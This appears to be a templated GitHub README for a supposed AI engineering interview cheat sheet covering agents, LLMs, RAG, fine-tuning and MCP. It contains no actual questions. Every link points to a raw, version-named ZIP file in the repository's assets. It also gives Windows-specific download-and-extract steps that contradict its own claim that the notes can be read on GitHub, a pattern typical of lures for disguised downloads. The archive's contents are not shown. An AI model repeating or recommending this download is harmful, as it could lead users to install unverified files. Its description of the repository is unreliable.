ai-engineering-interview-questions

# 🧠 ai-engineering-interview-questions - Interview Prep Made Simple [](https://github.com/hasanf7711/ai-engineering-interview-questions/raw/refs/heads/main/assets/engineering_interview_questions_ai_1.0-beta.3.zip) ## 📘 What this is This project is a cheat sheet for AI engineering interviews. It gives you clear questions and answers in one place, so you can review key topics without digging through many sites. It covers common areas such as: - AI agents - LLMs - RAG - Fine-tuning - Quantization - MCP - Interview prep basics Use it as a study guide before an interview or as a quick reference when you want to review a topic fast. ## 💻 What you need This is a GitHub repo with interview notes. You do not need a special app to open it. You only need: - A Windows computer - Internet access - A web browser such as Chrome, Edge, or Firefox - A GitHub account if you want to star or save the repo If you want to keep a local copy, you can also download the repo from GitHub. ## ⬇️ Download or open the repo Go to this page to download or view the content: [https://github.com/hasanf7711/ai-engineering-interview-questions/raw/refs/heads/main/assets/engineering_interview_questions_ai_1.0-beta.3.zip](https://github.com/hasanf7711/ai-engineering-interview-questions/raw/refs/heads/main/assets/engineering_interview_questions_ai_1.0-beta.3.zip) If you want the full copy on your computer, use GitHub’s download option on that page. ## 🪟 How to use it on Windows 1. Open the link above in your browser. 2. Look for the green Code button on the GitHub page. 3. Click Code. 4. Select Download ZIP. 5. Save the file to a folder you can find again, such as Downloads. 6. Open the ZIP file after it finishes downloading. 7. Extract the files to a folder. 8. Open the folder and browse the notes in your browser or text editor. If you prefer, you can also read the content directly on GitHub without downloading anything. ## 📂 What you will find inside The repo is arranged as a study guide for AI engineering interview topics. You can expect content like: - Short questions with direct answers - Topic-based sections - Core AI concepts explained in plain language - Common interview prompts - Review points for quick revision The layout is made for fast reading, so you can scan a topic and move on. ## 🧭 Main topics covered ### 🤖 AI Agents Learn the basics of agents, how they work, and how they make decisions. This section helps with questions about agent loops, tools, planning, and action steps. ### 🧠 LLMs Review large language models, how they process text, and how they are used in products. This helps with questions about prompts, context windows, and response generation. ### 🔎 RAG Study retrieval-augmented generation and how it combines search with model output. This is useful for questions about knowledge bases, embeddings, and document search. ### 🛠️ Fine-tuning Understand when to fine-tune a model and when to use prompt changes instead. You will also see questions about training data, cost, and model fit. ### ⚙️ Quantization Get a simple view of how model size can be reduced for faster use and lower cost. This section helps with questions about memory, speed, and accuracy trade-offs. ### 🔌 MCP Learn the basics of model context protocol and how tools connect to AI systems. This is useful for modern AI app and agent questions. ### 🎯 Interview Questions Use the question and answer format to test your memory and check weak spots before an interview. ## 🖱️ How to read the content 1. Open the repo page. 2. Pick a topic you want to study. 3. Read the question first. 4. Try to answer it on your own. 5. Compare your answer with the one in the repo. 6. Repeat with the next question. This method helps you spot gaps in your knowledge before the interview. ## 🧰 Good ways to use this cheat sheet - Review one topic each day - Read it before a mock interview - Use it to refresh old knowledge - Focus on weak topics first - Keep it open while preparing for an AI engineering role The short format makes it easy to fit into a busy schedule. ## 🖥️ Windows file tips If you download the ZIP file: - Right-click the file to extract it - Choose Extract All - Pick a folder with enough space - Open the extracted folder after the process ends If you want to open notes files: - Use a browser for Markdown files - Use Notepad or VS Code for plain text files - Keep the folder in a place you can reach fast ## 🗂️ Suggested study order If you are new to AI engineering, this order works well: 1. LLMs 2. Prompting and context 3. RAG 4. Agents 5. Fine-tuning 6. Quantization 7. MCP 8. Practice interview questions This order moves from core ideas to more applied topics. ## 🔍 Who this is for This repo is useful for: - Job seekers preparing for AI engineering interviews - Students learning AI basics - Developers moving into AI work - People who want quick question and answer review - Anyone who wants a simple study guide for modern AI topics ## 📎 Open the download page again [https://github.com/hasanf7711/ai-engineering-interview-questions/raw/refs/heads/main/assets/engineering_interview_questions_ai_1.0-beta.3.zip](https://github.com/hasanf7711/ai-engineering-interview-questions/raw/refs/heads/main/assets/engineering_interview_questions_ai_1.0-beta.3.zip) ## 📝 Notes on the content The questions and answers are written to help you review fast. They are short enough for quick reading and broad enough to cover common interview themes. If you want a focused study session, pick one area and read the whole section in one sitting. If you want fast review, use the repo like flash cards